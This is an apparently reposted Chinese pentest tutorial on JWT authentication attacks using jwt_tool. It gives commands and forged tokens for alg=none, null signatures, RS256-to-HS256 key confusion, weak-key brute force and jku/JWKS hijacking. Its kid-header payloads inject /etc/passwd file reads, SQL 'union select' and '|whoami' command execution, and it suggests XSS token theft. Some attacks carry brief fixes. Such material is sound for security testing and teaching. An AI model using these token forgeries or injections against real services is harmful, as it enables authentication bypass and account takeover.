已经超过 695 天,自上次更新后,文章内容可能已经过时。

转载自:https://mp.weixin.qq.com/s/kfB0ovlafuAcoI5yEEkDEQ

这篇文章只是总结了JWT认证攻击漏洞,复现和原理在上面那篇文章。

利用工具:https://github.com/ticarpi/jwt_tool

一、签名算法可被修改为none(CVE-2015-9235)

  1. 原有payload的数据不被改变基础上而进行未校验签名算法

JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。

plaintext
1
python jwt_tool.py    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg  -X a

二、未校验签名

某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。

通过在线工具jwt.io修改payload数据

三、JWKS公钥注入——伪造密钥(CVE-2018-0114)

创建一个新的 RSA 证书对,注入一个 JWKS 文件,攻击者可以使用新的私钥对令牌进行签名,将公钥包含在令牌中,然后让服务使用该密钥来验证令牌

攻击者可以通过以下方法来伪造JWT:删除原始签名,向标头添加新的公钥,然后使用与该公钥关联的私钥进行签名。

plaintext
1
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X i

修复方案:JWT 配置应明确定义接受哪些公钥进行验证

四、空签名(CVE-2020-28042)

从令牌末尾删除签名,手动删除就好。

plaintext
1
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X n

得到的token认证:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.

修复方案:JWT 库应该针对这个问题进行修补

五、敏感信息泄露

JWT的header头base64解码可泄露敏感数据如密钥文件或者密码或者注入漏洞

plaintext
1
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ

图片

base64解码:{“kid”:”keys/3c3c2ea1c3f113f649dc9389dd71b851”,”typ”:”JWT”,”alg”:”RS256”}

其中认证类型为JWT,加密算法为RS256,kid指定加密算法的密钥,密钥KID的路径为:

plaintext
1
keys/3c3c2ea1c3f113f649dc9389dd71b851k

则在 Web 根目录中查找

plaintext
1
2
/key/3c3c2ea1c3f113f649dc9389dd71b851k
/key/3c3c2ea1c3f113f649dc9389dd71b851k.pem

六、KID参数漏洞

(1)任意文件读取

密钥 ID (kid) 是一个可选header,是字符串类型,用于表示文件系统或数据库中存在的特定密钥,然后使用其内容来验证签名。如果有多个用于签署令牌的密钥,则此参数很有帮助,但如果它是可注入的,则可能很危险,因为攻击者可以指向内容可预测的特定文件。

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

plaintext
1
2
3
4
5
{
"typ": "JWT",
"kid": "/etc/passwd",
"alg": "HS256"
}

得到的token

plaintext
1
eyJ0eXAiOiJKV1QiLCJraWQiOiIvZXRjL3Bhc3N3ZCIsImFsZyI6IkhTMjU2In0.eyJsb2dpbiI6InRpY2FycGkifQ.CPsfiq-_MnwM7dF6ZZhWPl2IbKgF447Iw6_EgRp6PFQ

注意:

在 linux系统中/dev/null被称为空设备文件,并且总是不返回任何内容,可绕过进行任意文件读取

plaintext
1
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256  -pc login -pv "ticarpi" 

参数说明:

-I 对当前声明进行注入或更新内容,-hc kid 设置现有 header 中 kid,-hv 设置其值为 “../../dev/null”,-pc 设置 payload 的申明变量名如:login,-pv 设置 申明变量login的值为 “ticarpi”

或者可以使用 Web 根目录中存在的任何文件,例如 CSS 或 JS,并使用其内容来验证签名。

plaintext
1
python3 jwt_tool.py -I -hc Kid -hv "路径/of/the/file" -S hs256 -p "文件内容"

(2)SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

plaintext
1
2
3
4
5
{
"typ": "JWT",
"kid": "key11111111' || union select 'secretkey' --",
"alg": "HS256"
}

得到的token:

plaintext
1
eyJ0eXAiOiJKV1QiLCJraWQiOiJrZXkxMTExMTExMScgfHwgdW5pb24gc2VsZWN0ICdzZWNyZXRrZXknIC0tIiwiYWxnIjoiSFMyNTYifQ.eyJsb2dpbiI6InRpY2FycGkifQ.I2oD_v7UvBIqilLcyuqP_HDY28yp1IFZeTs90fk-Tdc

(3)命令注入

对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

plaintext
1
2
3
4
5
{
"typ": "JWT",
"kid": "keys/3c3c2ea1c3f113f649dc9389dd71b851k|whoami",
"alg": "HS256"
}

七、改变加密算法(CVE-2016-5431/CVE-2016-10555)

将加密算法 RS256(非对称)更改为 HS256(对称)

JWT最常用的两种算法是HMAC(非对称加密算法)和RSA(非对称加密算法)。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证

将算法RS256修改为HS256(非对称密码算法=>对称密码算法)

方式一:在原payload不被修改的基础上,并将算法RS256修改为HS256

公钥文件下载:

https://raw.githubusercontent.com/Sjord/jwtdemo/master/public.pem

plaintext
1
python3 jwt_tool.py    eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDE3MDcsImV4cCI6MTY2Mjc0MjkwNywiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.BOiukQghoC-t2nmM5w9SUZURv9sw0FNtmfbzirKi6EEvcqhcjTaeQF6-crCAjLxNoR84A_P8MY5mGL5ZrgDGTbfsXLbMawewaavG090FkvhCkWuPla95LJZsM0H2fFa9PpHruYmWUo9uBVRILpBXLtQDnznTPdbjwXleX3Yr0M4qEKDTPxQzO62O3vSizBm8hzgEnNkiLWPOqfTLXMBf4W0q_4V0A7tK0PoEuoVnsiB1AmHeml4ez2Ksr4m9AqAW52PgrCa9uBEICU3TlNRcXvmiTbmU_xU4W5Bu010SfpxHo3Bc8yEZvLOKC5xZ2zqUX3HJhA_4Bzxu0nmev13Yag -X k -pk public.pem

得到的token认证:

plaintext
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3NDE3MDcsImV4cCI6MTY2Mjc0MjkwNywiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.E0GXzwsvGE7PY3r67VK6ur6zmIxGRurdOJ-92nv1UMI

注意:查找公钥文件的方法

1.SSL 密钥重用

在某些情况下,令牌可能会使用网络服务器 SSL 连接的私钥进行签名。获取 x509 并从 SSL 中提取公钥:

plaintext
1
2
3
4
5
$ openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem
$ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

2.API 泄露公钥
为了验证令牌,服务可以通过 API 端点(例如/API/v1/keys)泄露公钥

3.JWKS 常用位置

  • /.well-known/jwks.json
  • /openid/connect/jwks.json
  • /jwks.json
  • /api/键
  • /api/v1/keys

修复方案:JWT 配置应该只允许 HMAC 算法或公钥算法,不允许两者同时存在

八、签名密钥可被爆破

HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥

plaintext
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.WoHYNyyYLPZ45aM-BN_jqGQekzkvMi251QZbw9xDHAE 

运行:

plaintext
1
python jwt_tool.py        eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.WoHYNyyYLPZ45aM-BN_jqGQekzkvMi251QZbw9xDHAE  -C -d  /usr/share/wordlists/fasttrack.txt 

成功破解出密钥key为:secret,

获得的密钥key通过在线jwt.io在线修改数据,重新生成token

image-20220926113628057

修改后的token:

plaintext
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.UXl0zzAMP_8eb7TcwYa0kXtd9lMzyeytA BerT-Ljcvc

九、JWKS 劫持

此攻击使用“jku”和“x5u”标头值,它们指向用于验证非对称签名令牌的 JWKS 文件或 x509 证书(通常本身位于 JWKS 文件中)的 URL。通过将“jku”或“x5u”URL 替换为包含公钥的攻击者控制的 URL,攻击者可以使用配对的私钥对令牌进行签名,并让服务检索恶意公钥并验证令牌。

使用自动生成的 RSA 密钥并在提供的 URL (-ju) 处提供 JWKS 或将 URL 添加到 jwtconf.ini 配置文件中 ,并使用私钥对令牌进行签名:

图片

plaintext
1
2
3
Deconstructed:
{"typ":"JWT","alg":"RS256", "jku":"https://ticarpi.com/jwks.json"}.
{"login":"ticarpi"}.
plaintext
1
python jwt_tool.py jwt_token -X s -ju https://ticarpi.com/jwks.json

修复方案:JWT 配置应明确定义允许哪些 JWKS 文件和URL进行认证访问

十、未校验签名的JWT的模糊测试

图片

图片

图片

十一、重放JWT(token令牌不过期)

如果特定令牌只能使用一次怎么办?让我们想象一个场景,当用户编写一个生成的令牌以执行我们API中的DELETE方法时。然后,例如1天后(理论上他不再拥有相应的权限)之后,他尝试再次使用它(所谓的重播攻击)。

为此,请使用以下声明:**jti **和 exp。Jti(JWT ID)是令牌标识符,必须是唯一的,而exp是令牌到期日期的定义。这两个字段的组合将使我们在适当程度上缩短令牌的有效性及其唯一性。

因此 token 的令牌失效时间建议设置为2小时失效

总结

通过对众多实际案例漏洞测试,其中弱密钥、密钥泄露、不校验签名、信息泄露这些问题出现的居多,像更改 Header 不使用签名,暂时在实际生成环境中没遇到过。测试方面遇到 JWT 根据 jwt-tools 工具和其 WIKI 测试方法,将所有已知漏洞都试一遍,避免遗漏。另一个实际利用点可以尝试 XSS 打 Token。实际场景中通常将 Token 放入 Local Storage 存储,下次请求时取出放入 HTTP Header 传输,那么此时可以配合 XSS 读取 Token 来截取账户。因为 Token 是有时效,部分应用可以通过现有存活 Token 去颁发新的 Token 以此延长使用有效期,通过这点可以让 Token 永久生效。